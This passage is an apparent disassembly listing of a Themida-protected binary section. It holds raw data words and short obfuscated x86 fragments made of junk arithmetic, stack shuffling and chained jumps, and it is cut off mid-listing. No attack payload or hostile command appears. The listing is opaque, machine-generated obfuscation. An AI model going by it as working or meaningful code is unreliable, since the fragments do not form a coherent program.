38A0EE81h, 48B618Bh, 4C48324h dd 5C243487h, 24048B66h, 4EC81h, 14890000h, 0CD2E924h dd 0F758FFFFh, 0A100E9D0h, 0C89FFFFh, 2434FF24h, 8324348Bh dd 87E904C4h, 66000038h, 5224048Bh, 110FE9h, 4EC8300h dd 0B1240C89h, 5051533Fh, 0E58800B4h, 8324048Bh, 0E5C004C4h dd 0F6CDFE05h, 0C94EE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DD2: ; CODE XREF: Themida_:0054B9BDj dec eax shl eax, 3 jmp loc_544CB1 ; --------------------------------------------------------------------------- loc_551DDB: ; CODE XREF: Themida_:0054C434j xor edi, [esp] jmp loc_55450B ; --------------------------------------------------------------------------- db 83h dd 8B6604C4h, 54522414h, 0E924148Bh, 0FFFF9659h ; --------------------------------------------------------------------------- loc_551DF4: ; CODE XREF: Themida_:0054D3C6j xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 shl edx, 2 xor edx, 0D1FD6A74h jmp loc_552B8F ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8300h, 5C241487h, 0FFC08CE9h, 28CEB5FFh, 3CACE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E26: ; CODE XREF: Themida_:0054B91Dj sub edx, 39FB5FD9h mov ebp, [esp] add esp, 4 jmp loc_5521A3 ; --------------------------------------------------------------------------- dw 3487h dd 0C895C24h, 5560B924h, 7FE9554Dh, 58FFFF5Eh, 82B4E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E52: ; CODE XREF: Themida_:0055424Dj add ebp, 4 xchg ebp, [esp] jmp loc_549187 ; --------------------------------------------------------------------------- loc_551E60: ; CODE XREF: Themida_:00544650j and eax, ecx pop ecx or edx, eax shl edx, 1 push dword ptr [edi+24h] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_542897 ; --------------------------------------------------------------------------- loc_551E7E: ; CODE XREF: Themida_:0054A79Cj mov [esp], eax mov eax, 4 add edx, eax jmp loc_544E54 ; --------------------------------------------------------------------------- loc_551E8D: ; CODE XREF: Themida_:00552A14j mov ebx, 4 sub dword ptr [esp+4], 5A4B59A8h add [esp+4], ebx jmp loc_54AA18 ; --------------------------------------------------------------------------- loc_551EA3: ; CODE XREF: Themida_:005481DCj pop edi add ebx, 466609C6h jmp loc_54CFDD ; --------------------------------------------------------------------------- db 31h dd 3AB9E9F3h, 0B850FFFFh, 0A2A59AD8h, 0E958C601h, 0FFFFB538h ; --------------------------------------------------------------------------- loc_551EC4: ; CODE XREF: Themida_:005565A5j sub eax, 71886069h sub eax, 2FB15683h add eax, ebx push ebx mov ebx, 3EE44DD2h jmp loc_54B504 ; --------------------------------------------------------------------------- aPsS db 'Pé|S',0 db 0 ; --------------------------------------------------------------------------- loc_551EE1: ; CODE XREF: Themida_:00556B30j push edx jmp loc_554A90 ; --------------------------------------------------------------------------- loc_551EE7: ; CODE XREF: Themida_:00553437j shr esi, 5 push ebp mov ebp, 0D5BB272Ch jmp loc_5460E7 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 7 dd 0FF22AAE9h, 5DE829FFh, 5C240487h, 89242C89h, 0DEE950E5h dd 0F6FFFF88h, 2B5CE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_551F16: ; CODE XREF: Themida_:0054A43Bj xor edi, 0E0533C9h xor edi, 2B5C2E1Fh jmp loc_549572 ; --------------------------------------------------------------------------- db 5Ah dd 0EC83C9FEh, 24048904h, 53FDB252h, 0FFEBB6E9h, 0E2685EFFh dd 8900000Ah, 0DFB9240Ch, 31796072h, 0F78959CEh, 0E9F9295Eh dd 0FFFF586Ch, 4E2076BAh, 5DEA312Fh, 1B1CE9h, 26EB8100h dd 507EF96Bh, 4C2B1DB8h, 58C30101h, 0BF57EB01h, 5DF43BE4h dd 0FFD4D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_551F7D: ; CODE XREF: Themida_:0054EA34j mov ecx, [esp] add esp, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr eax, 12h xor eax, ecx xor eax, ecx xor ecx, eax jmp loc_54A64B ; --------------------------------------------------------------------------- loc_551FA1: ; CODE XREF: Themida_:0054F712j neg edx not edx shr edx, 3 shl edx, 6 add edx, 8F02FDFFh jmp loc_55664E ; --------------------------------------------------------------------------- dw 0D835h dd 0E9181270h, 4769h, 667D2C5Bh, 0ABB151h, 0C8B66C8h, 2C48324h dd 0E952772Ch, 0FFFF63D4h ; --------------------------------------------------------------------------- loc_551FD8: ; CODE XREF: Themida_:0054EB90j mov ecx, 0D41F6808h add edi, ecx pop ecx add edx, edi mov edi, [esp] add esp, 4 jmp loc_54270C ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5D04h, 24248B24h, 277B68h, 241C8900h, 30D8ABBh, 0D0E95258h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55200B: ; CODE XREF: Themida_:00551350j push ebx jmp loc_552070 ; --------------------------------------------------------------------------- db 53h, 68h, 0CAh dd 5B115B1Dh, 8102E3C1h, 6C772CF3h, 5BDF8945h, 0FFC304E9h dd 56E389FFh, 0D40292BEh, 7E68E926h, 0C781FFFFh, 4, 4EC81h dd 0C890000h, 2B924h, 0B8500000h, 1CF702E7h, 20C3EF81h dd 0EAE90DE5h, 54FFFF37h, 5524348Bh, 0BEDFE954h, 34FFFFFFh dd 0E9505824h, 400Eh ; --------------------------------------------------------------------------- loc_552070: ; CODE XREF: Themida_:0055200Cj mov ebx, 62536373h or esi, ebx pop ebx xor esi, 3B88A1F7h sub eax, esi pop esi and eax, 0ADF29D3h jmp loc_54871C ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 48904ECh, 83E08924h, 348904ECh, 8E76824h dd 14890000h, 6C15BA24h, 71BE5B66h, 8100EC02h, 0D01349C6h dd 81D6015Bh, 0D01349EEh, 0EE815A5Bh, 1, 0A0685357h, 0E931135Dh dd 0FFFF44FFh, 74E9DF89h, 31FFFF6Dh, 0C12959C8h, 8B018958h dd 8950240Ch, 903EE9E0h, 0BD55FFFFh, 4, 0E95DEE01h, 0FFFF7394h ; --------------------------------------------------------------------------- loc_5520F8: ; CODE XREF: Themida_:005540DDj mov ebp, [esp] add esp, 4 xor esi, eax mov eax, [esp] jmp loc_54E13D ; --------------------------------------------------------------------------- loc_55210B: ; CODE XREF: Themida_:00547F06j add eax, 4 push ebp jmp loc_546CA8 ; --------------------------------------------------------------------------- loc_552116: ; CODE XREF: Themida_:005570C5j xor ebx, 0D255A8C3h mov eax, 7FF238AEh add eax, ebx pop ebx add edi, eax pop eax add ebx, edi pop edi sub esp, 4 jmp loc_54BFCF ; --------------------------------------------------------------------------- db 29h, 0C2h, 81h dd 95356AEAh, 57555748h, 0A950A0BFh, 5FFD8933h, 4D5ADCBFh dd 5DEF2941h, 585FFA01h, 5EE9D001h, 0BF00004Ah, 65367D87h dd 0EF81D7F7h, 5CF16151h, 815FFA09h, 4D351CCAh, 0D1C28162h dd 811B235Ah, 375FE1E9h, 81D10102h, 375FE1C1h, 0C714E902h dd 2D59FFFFh, 518E68DAh, 0DA05D829h, 0E9518E68h, 0FFFF8CA6h dd 0D4E95A66h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5521A3: ; CODE XREF: Themida_:00551E35j add edx, edi sub edx, 5EF711F1h add dword ptr [edx], 1 jmp loc_54F2F7 ; --------------------------------------------------------------------------- loc_5521B6: ; CODE XREF: Themida_:0054E555j push ebx mov ebx, 76EE2FFBh add ebx, 6E611D5Ch xor ebx, 41F4F522h add edx, ebx pop ebx and eax, edx mov edx, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx push 6B8Eh jmp loc_550729 ; --------------------------------------------------------------------------- loc_5521E5: ; CODE XREF: Themida_:0054BE1Aj add edx, edi pop edi push ebp mov ebp, 4 add edx, ebp pop ebp push edx jmp loc_54A116 ; --------------------------------------------------------------------------- loc_5521F7: ; CODE XREF: Themida_:00555D28j mov [esp], cx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_5500EB ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0C0B95100h, 506BDF34h, 734EA0B8h, 58C10966h, 0A25BE949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55222E: ; CODE XREF: Themida_:0054EB54j add edx, 2DC22AC2h add edx, eax sub edx, 2DC22AC2h pop eax add edx, 3E122E9Ch push edi mov edi, 6A8A585Eh add edx, edi jmp loc_54B6D3 ; --------------------------------------------------------------------------- dd 0A7B9515Eh, 29D56D29h, 0BE5659CEh, 6D283EEEh, 8146D6F7h dd 0B3461FF6h, 77EE817Fh, 0C1508642h, 0C68104EEh, 171433C8h dd 8E9F029h, 8900002Bh, 0DEE92434h, 89FFFFC4h, 0EC832414h dd 242C8904h, 0BA525D54h, 4, 1717C581h, 0C581562Ch, 35935EB2h dd 0ED81D501h, 35935EB2h, 0FFBE3CE9h, 24048FFFh, 8324248Bh dd 43302C0h, 24043124h, 5C240433h, 2424D366h, 43EE99Ch dd 8B66FFFFh, 54532404h, 5B2434FFh, 5704C483h, 7A210DBFh dd 6694E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522E6: ; CODE XREF: Themida_:00546C4Fj mov [esp], esi jmp loc_54AF09 ; --------------------------------------------------------------------------- dw 0F755h dd 0A3E92414h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522F7: ; CODE XREF: Themida_:00545D40j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_557AFD ; --------------------------------------------------------------------------- loc_55230A: ; CODE XREF: Themida_:00556613j jmp loc_54270C ; --------------------------------------------------------------------------- db 8Fh dd 4832404h, 348B0424h, 4C48124h, 0E9000000h, 0FFFF1679h dd 83240489h, 8F5404ECh, 4832404h, 48B0424h, 4C48124h dd 57000000h, 33C868h, 24048900h, 495FE9h, 640B800h, 0BF2D68ACh dd 0E92E21DAh, 0FFFFBB6Ch, 0FF59692Ch, 34FF2434h, 93C8E924h dd 83BDFFFFh, 0F732EE63h, 488DE9D5h, 74FF0000h, 0E95B0424h dd 3EFFh, 240C8B66h, 8904EC83h, 44E92414h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55238B: ; CODE XREF: Themida_:005558CAj pop ebp jmp loc_554108 ; --------------------------------------------------------------------------- db 0ADh, 31h, 0D8h dd 105C68h, 240C8900h, 7F5768h, 24148900h, 0C06A8968h dd 24148B7Fh, 4C481h, 61E90000h, 28FFFF5Ah, 0B65259EBh dd 0E9C6FE71h, 0FFFFA106h ; --------------------------------------------------------------------------- loc_5523C4: ; CODE XREF: Themida_:00545CEEj push edi mov edi, 89D5E6Dh inc edi neg edi xor edi, 0F9CAADE1h and edx, edi pop edi neg edx inc edx jmp loc_5428B5 ; --------------------------------------------------------------------------- loc_5523DE: ; CODE XREF: Themida_:0054FC6Dj xchg ebp, [esp] pop esp mov [esp], esi push dword ptr [esp+4] jmp loc_55146E ; --------------------------------------------------------------------------- dw 0C80Fh dd 7E1868h, 24048900h, 0FF030FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5523FD: ; CODE XREF: Themida_:0054D387j sub ecx, 44B634CDh pop edx push 65C5h mov [esp], esi push edi mov edi, 0D05C2Dh not edi sub edi, 1E6F6C36h jmp loc_54A4E0 ; --------------------------------------------------------------------------- db 1 dd 0C70159C8h, 7FE95258h, 59FFFFD4h, 81D1F75Fh, 193EFBE1h dd 0C8E18112h, 81203F34h, 0ED602CE9h, 0EFC18126h, 0E9F7FFBEh dd 0FFFFBFA8h, 9D1C77FFh, 1CD25966h, 0B1E99C24h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55245B: ; CODE XREF: Themida_:0054AFBDj push eax mov eax, 14AC341Dh push 6787h jmp loc_550AA2 ; --------------------------------------------------------------------------- db 50h dd 1A1F24B8h, 7EB60D07h, 78E960E1h, 0ACFFFF51h, 0DFE9AE04h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552483: ; CODE XREF: Themida_:0054A907j mov ecx, 4CCC5F16h sub ebx, ecx jmp loc_54E9A7 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 81D6F700h, 219E9BC6h, 5F75E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5524A2: ; CODE XREF: Themida_:005469F0j xor edx, 347E033Bh push edx jmp loc_5528A0 ; --------------------------------------------------------------------------- dw 6855h dd 66D3296Ch, 2E5C15Dh, 738CED81h, 0E9898619h, 5755535Dh dd 0AA1ABABFh, 4A7E96Ch, 0BD68FFFFh, 89000073h, 1DB82404h dd 813C543Bh, 0BA6956EBh, 92C3811Ah, 811A1F4Bh, 0D56F50C3h dd 94C38104h, 29770D05h, 94EB81C3h, 81770D05h, 0D56F50EBh dd 92B95104h, 291A1F4Bh, 9A6859CBh, 89000031h, 56B9240Ch dd 11ABA69h, 55FE9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55251E: ; CODE XREF: Themida_:0055467Ej add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] pop dword ptr [edi+24h] loc_552536: ; CODE XREF: Themida_:00542D5Aj push 24AEh mov [esp], edi mov edi, esp push eax mov eax, 45AD32EBh or eax, 56363771h jmp loc_546F12 ; --------------------------------------------------------------------------- loc_552550: ; CODE XREF: Themida_:00545104j mov eax, ebx mov ebx, [esp] add esp, 4 add ebx, eax mov eax, [esp] jmp loc_548590 ; --------------------------------------------------------------------------- loc_552565: ; CODE XREF: Themida_:0054A530j pop ebp or eax, eax jz loc_5563EA push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 1E71h mov [esp], esi jmp loc_549C81 ; --------------------------------------------------------------------------- loc_552587: ; CODE XREF: Themida_:00547D96j push esp pop edi jmp loc_556F0C ; --------------------------------------------------------------------------- dw 8159h dd 2C3h, 241C3300h, 33241C31h, 248B241Ch, 0BB0F6624h, 0E99C2404h dd 0FFFF0160h ; --------------------------------------------------------------------------- loc_5525AC: ; CODE XREF: Themida_:0055587Ej pop edi jmp loc_555D50 ; --------------------------------------------------------------------------- loc_5525B2: ; CODE XREF: Themida_:00545C10j push esi push esp pop esi push ecx push 7665h mov [esp], ebp mov ebp, 6B496537h jmp loc_55504B ; --------------------------------------------------------------------------- dd 0E904C283h, 2804h, 0E9242C89h, 35FFh, 24048F54h, 9CFAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525E2: ; CODE XREF: Themida_:0054976Aj push eax mov al, 0CAh xor al, 54h jmp loc_54E8CF ; --------------------------------------------------------------------------- dd 0E5613548h, 8150089Ah, 1B4A2404h, 815F6404h, 41B4AEFh dd 24048B64h, 4C481h, 91050000h, 2D701971h, 5CBD1CB3h dd 0ECE9F801h, 89FFFF45h, 0E9522404h, 532Eh, 0F8BE5659h dd 291D6A73h, 0F538E9F1h, 0CDB9FFFFh, 0E95BCF09h, 0FFFF9B1Ah dd 4BEh, 50B85000h, 0E976DE30h, 0FFFF1A1Bh, 5E2123B9h dd 30E2E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552656: ; CODE XREF: Themida_:00548370j mov esi, [esp] jmp loc_542A10 ; --------------------------------------------------------------------------- dw 4BDh dd 89000000h, 7E95DEFh db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55266B: ; CODE XREF: Themida_:0054F538j add ecx, ebx pop ebx not ecx and ecx, 50E23B85h sub ecx, 7BF13170h push ebx jmp loc_54A55B ; --------------------------------------------------------------------------- loc_552682: ; CODE XREF: Themida_:00550D01j xor ecx, 0ADC24BD3h mov ebx, ecx jmp loc_551914 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EC8100h, 89000000h, 45B5240Ch, 54F65166h, 59660124h dd 0ED80CDFEh, 59E8283Ah, 7F04D828h, 4368872Ch, 0E9000011h dd 0FFFF225Dh, 0A94E981h, 0C9817A78h, 2F2C5390h, 0FFC542E9h dd 2474FFFFh, 9153E904h, 0FF2DFFFFh, 0E956B0F4h, 0FFFF2A9Ah dd 42474FFh, 0FF2434FFh, 34FF2434h, 24048B24h, 81E38953h dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0EAE904C4h, 55000046h dd 0EA520ABDh, 802CE97Fh, 15EFFFFh, 0BB5358C1h, 2, 0E95BD901h dd 0FFFFC0C5h, 3B3A6858h, 34890000h, 81E68924h, 4C6h, 0E43FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552742: ; CODE XREF: Themida_:0054F00Fj push ebx push 4162BC4h pop ebx push ebx xchg ebp, [esp] not ebp xchg ebp, [esp] jmp loc_5529CC ; --------------------------------------------------------------------------- db 0BFh dd 55A93F3Fh, 8247C01h, 0E8DCE95Fh, 0C689FFFFh, 22DE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55276E: ; CODE XREF: Themida_:00555E6Dj pop eax push 4E93h mov [esp], ecx push esi push ecx mov ecx, 46F36545h jmp loc_556746 ; --------------------------------------------------------------------------- db 5Ah dd 8B24048Fh, 9AE92424h, 0E9FFFF3Ch, 0FFFEFF78h, 8904EC83h dd 0FD682404h, 582E4F30h, 0B6F6252Dh, 7336E90Eh, 4BBFFFFh dd 0E9000000h, 0FFFF12D7h ; --------------------------------------------------------------------------- loc_5527B4: ; CODE XREF: Themida_:00551968j push ebp mov ebp, esp add ebp, 4 jmp loc_542833 ; --------------------------------------------------------------------------- dw 3C8Bh dd 59545124h, 0FF2349E9h, 14C780FFh, 5066C7FEh, 0E730EEB4h dd 7CE95866h, 0BFFFFF48h, 40692ABCh, 2ECE9h, 28AA0400h dd 0E9AA2CC8h, 0FFFF56ACh ; --------------------------------------------------------------------------- loc_5527F4: ; CODE XREF: Themida_:0054AD59j mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ebp mov ebp, 15EC774Ch add ebp, 66E523ECh push edx mov edx, 5CDA1383h sub edx, 0E0CDE646h or ebp, edx pop edx push 2140h mov [esp], edi mov edi, 1DF92E85h jmp loc_550376 ; --------------------------------------------------------------------------- loc_55282E: ; CODE XREF: Themida_:00548ABEj xor esi, 635653DAh sub esi, 61BBB52Dh jmp loc_54F50D ; --------------------------------------------------------------------------- db 58h dd 0BE655825h, 2F03252Bh, 0D0F729FBh, 1C620D05h, 0E9C1893Bh dd 2FCDh ; --------------------------------------------------------------------------- loc_552858: ; CODE XREF: Themida_:00557289j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ecx jmp loc_553AB0 ; --------------------------------------------------------------------------- loc_552867: ; CODE XREF: Themida_:005476F3j pop ecx sub bl, 0F8h jmp loc_54362D ; --------------------------------------------------------------------------- dd 240C8B66h, 637168h, 24348900h, 7D7D68h, 36B6E900h, 0EE01FFFFh dd 0C6835B5Dh, 24348704h, 0E924248Bh, 0FFFEFE74h ; --------------------------------------------------------------------------- loc_552898: ; CODE XREF: Themida_:00557AFEj shr ecx, 7 jmp loc_54DD2E ; --------------------------------------------------------------------------- loc_5528A0: ; CODE XREF: Themida_:005524A9j pop ebx push dword ptr [esp] pop edx jmp loc_54AE92 ; --------------------------------------------------------------------------- loc_5528AA: ; CODE XREF: Themida_:0054D072j mov eax, 70ED5DA7h jmp loc_54B633 ; --------------------------------------------------------------------------- dd 25158EBAh, 41F3E961h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5528BE: ; CODE XREF: Themida_:005558E2j push 4135h jmp loc_5513BB ; --------------------------------------------------------------------------- dd 5C243C33h, 50242C89h, 4AE9E089h, 81FFFF28h, 0DB7A35C7h dd 913DE965h, 5BBDFFFFh, 0E9173A47h, 0FFFF5540h ; --------------------------------------------------------------------------- loc_5528EC: ; CODE XREF: Themida_:005563ABj sub esp, 4 mov [esp], ebp mov bp, 1AD8h sub bp, 3FF3h shr bp, 7 add bp, 1E8h push bp jmp loc_54F3A0 ; --------------------------------------------------------------------------- db 0FFh dd 2C8B2434h, 98EDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552916: ; CODE XREF: Themida_:0054BBE4j pop eax shr esi, 7 push edx mov edx, 785F2EE3h add edx, 78541B60h dec edx not edx inc edx push esi mov esi, 54F8476Fh jmp loc_548ABA ; --------------------------------------------------------------------------- loc_552935: ; CODE XREF: Themida_:005529C7j xchg edx, [esp] mov esp, [esp] mov [esp], ecx mov eax, [esp] jmp loc_54A6BC ; --------------------------------------------------------------------------- dw 8159h dd 0E65984F1h, 2E9C17Eh, 333AE9h, 1EEE8000h, 0E947F680h dd 0FFFFA4E8h, 34E9FA29h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552967: ; CODE XREF: Themida_:00548C21j mov ecx, 218F2DBCh mov ebp, 0DE70D243h xor ebp, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 2F4E5324h add dword ptr [esp+8], 28253977h add [esp+8], ecx sub dword ptr [esp+8], 28253977h jmp loc_5547E9 ; --------------------------------------------------------------------------- db 68h dd 37B3h, 52243489h, 0FF125EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5529A9: ; CODE XREF: Themida_:00545816j mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] pop esp shr eax, 18h xor eax, ecx push eax push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_552935 ; --------------------------------------------------------------------------- loc_5529CC: ; CODE XREF: Themida_:00552752j pop ebx xor ebx, 6855672Ah sub ebx, 5512B258h mov ecx, ebx pop ebx sub ecx, 66A3A8Dh add ecx, ebx add ecx, 66A3A8Dh pop ebx add ebx, 785550FCh add ebx, ecx sub ebx, 785550FCh jmp loc_54EAF4 ; --------------------------------------------------------------------------- loc_5529FE: ; CODE XREF: Themida_:00543956j push ecx mov ecx, 4 add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_551E8D ; --------------------------------------------------------------------------- db 66h, 0C1h, 0E1h dd 0E9816602h, 8166FFFFh, 66DFDEF1h, 6659CF89h, 8B66FA31h dd 8951243Ch, 4B22E9E1h, 487FFFFh, 24895C24h, 7842E924h dd 0FE29FFFFh, 0FF8ADBE9h db 0FFh ; --------------------------------------------------------------------------- loc_552A4D: ; CODE XREF: Themida_:005500CAj add esp, 4 add eax, 4 push edx mov edx, 4 add eax, edx pop edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_54CC41 ; --------------------------------------------------------------------------- db 0B8h, 0F0h, 61h dd 0C6891512h, 0FF58F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_552A81: ; CODE XREF: Themida_:0055556Cj mov edi, 21760DF2h add [esp+8], edi pop edi jmp loc_54C7B4 ; --------------------------------------------------------------------------- dd 207F83ADh, 0D6840F00h, 68000020h, 97Ch, 0B9240C89h dd 4D3A1F2Dh, 0C350E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552AAE: ; CODE XREF: Themida_:00555067j push esp mov edi, [esp] jmp loc_552FB8 ; --------------------------------------------------------------------------- db 0FFh dd 0BE561C77h, 62D55947h, 4247401h, 5024348Bh, 0FF87A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_552ACD: ; CODE XREF: Themida_:0055310Cj pop dword ptr [esp] jmp loc_5546EA ; --------------------------------------------------------------------------- db 29h, 0FAh, 8Bh dd 8953243Ch, 4C381E3h, 0E9000000h, 0FFFFD662h ; --------------------------------------------------------------------------- loc_552AE8: ; CODE XREF: Themida_:0054A91Fj push dword ptr [esp+4] pop ecx jmp loc_5446AD ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704EA83h, 248B2414h, 242C8924h, 76B668h, 24048900h dd 6C26BD55h, 815547D1h, 4ECD2404h, 2D5817B2h, 17B24ECDh dd 0DEBA525Dh, 1B82E93h, 0C5895AD0h, 8324048Bh, 6C0104C4h dd 0E95D0424h, 4494h, 5858E228h, 8B66D000h, 90682414h dd 0E900000Bh, 0FFFF7B06h, 0F281DAF7h, 0F0C0F80Dh, 685AD001h dd 48B3h, 0FF240489h, 0FF042474h, 81582434h, 4C4h, 24048F00h dd 23E4685Ch, 2C890000h, 2A8F6824h, 3C890000h, 18F76824h dd 1BE90000h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B8F: ; CODE XREF: Themida_:00551E06j add eax, edx pop edx push eax push dword ptr [esp+4] pop eax jmp loc_550A1E ; --------------------------------------------------------------------------- loc_552B9D: ; CODE XREF: Themida_:0054AF85j add esi, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5469A2 ; --------------------------------------------------------------------------- loc_552BBA: ; CODE XREF: Themida_:005574BBj push edi not dword ptr [esp] jmp loc_54B99F ; --------------------------------------------------------------------------- db 57h dd 0BA16A6BFh, 0A4F78169h, 8969BA16h, 243C8BFAh, 104C483h dd 24148BD0h, 4C481h, 0BE90000h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552BE7: ; CODE XREF: Themida_:0055072Cj mov ebp, 301C1BC7h shl ebp, 2 and ebp, 7F616445h jmp loc_546E76 ; --------------------------------------------------------------------------- dw 0E289h dd 5BCB850h, 0D0F761E6h, 0FFD1A9E9h, 8BF388FFh, 89572414h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 0FF3E8BE9h, 240C89FFh dd 523DB252h, 0D1883DB2h, 0FFCC3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_552C35: ; CODE XREF: Themida_:0054DCE6j sub ebp, ecx pop ecx jmp loc_557B3E ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 6 db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C43: ; CODE XREF: Themida_:00557588j pop ebx xor ecx, 7E3331FDh mov esi, ecx pop ecx add esi, 0FCB38DEh and esi, 486A3EDFh sub esi, 97DB2E19h or edi, esi pop esi jmp loc_542937 ; --------------------------------------------------------------------------- db 89h dd 8168241Ch, 0E9000051h, 0FFFF8AFBh, 242C335Ch, 0FF229EE9h dd 0C5815EFFh, 4, 0E9242C87h, 0FFFF7A9Bh, 24048B66h, 6CDB68h dd 241C8900h, 0E9565B54h, 0FFFF8A01h, 33241C31h, 335C241Ch dd 2C31242Ch, 162AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552CB2: ; CODE XREF: Themida_:00544205j or ebx, ebx jnz loc_546617 push 1CE5h mov [esp], edx jmp loc_5508F0 ; --------------------------------------------------------------------------- db 5 dd 0EF9FC8D5h, 0FFAB4FE9h, 0F6815FFFh, 83EADE7Dh, 0B866851h dd 14890000h, 89F28924h, 0CA895AD1h, 0FF78F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_552CED: ; CODE XREF: Themida_:0054B5C8j inc esi shr esi, 1 xor esi, 2308CD24h jmp loc_543A5E ; --------------------------------------------------------------------------- loc_552CFB: ; CODE XREF: Themida_:00554FA6j mov [esp], eax mov ah, 6Eh jmp loc_547B2D ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 0FF3135E9h, 0EA0158FFh, 215E68h, 243C8900h, 9E06DEBFh dd 0FFFA017Ch, 0E95F2434h, 0FFFF7595h, 9030DB9h, 0C183417Ah dd 2E1C101h, 2414F751h, 83240C8Bh, 0F18104C4h, 17DBF3C7h dd 34FFCE01h, 240C8B24h, 0FF6E06E9h db 0FFh ; --------------------------------------------------------------------------- loc_552D51: ; CODE XREF: Themida_:00546742j mov ah, 0EBh add bl, ah pop ax shl bl, 3 sub bl, 0A8h add cl, bl mov ebx, [esp] add esp, 4 sub esp, 2 jmp loc_5476E1 ; --------------------------------------------------------------------------- a1He db '1Ãh…',9,0 dw 8900h dd 8DE92404h, 0F7FFFEF9h, 97F381DBh, 0E9356C23h, 0FFFF2CFDh ; --------------------------------------------------------------------------- loc_552D8C: ; CODE XREF: Themida_:0054CFC7j neg ecx sub ecx, 321E4EB5h jmp loc_54EF42 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8904C483h, 0FD0159CFh, 6277E95Fh, 1A2DFFFFh, 5F410B36h dd 7DCE68h, 7EC8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552DBA: ; CODE XREF: Themida_:00544D0Fj sub ecx, 8777E470h mov edi, ecx mov ecx, [esp] jmp loc_54AFFC ; --------------------------------------------------------------------------- loc_552DCA: ; CODE XREF: Themida_:00553365j push ebx jmp loc_5454E5 ; --------------------------------------------------------------------------- dd 8B240C87h, 4872424h, 0FF665C24h, 0E99C240Ch, 0FFFEF928h dd 9D1C77FFh, 24041158h, 0F91AE99Ch, 0EC81FFFEh, 4, 0B3241C89h dd 5BD8003Ch, 0B9E97D2Ch, 80FFFF4Bh, 8850F1EDh, 58E688ECh dd 81240C8Bh, 4C4h, 66F02800h, 281C045Ah, 6E91E9D8h, 2DADFFFFh dd 6A570260h, 0DEF68h, 0EA85E900h, 0EFBAFFFFh, 8157F447h dd 0D0574DF2h, 4AEAD104h, 42E4F281h, 0CA812B35h, 6A1C3EA1h dd 1AD7F281h, 0BE560DD8h, 56C35F04h, 0C681DEF7h, 1CF55E9Ah dd 0FF96EE81h, 0EE81C631h, 6AA8652Eh, 0C681D629h, 6AA8652Eh dd 35E9F287h, 5BFFFFB2h, 0D6685657h, 8B420514h, 0DDE92434h dd 8FFFFF27h, 0DDE92404h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552E97: ; CODE XREF: Themida_:00554BBCj sub eax, ebx jmp loc_5539EC ; --------------------------------------------------------------------------- loc_552E9E: ; 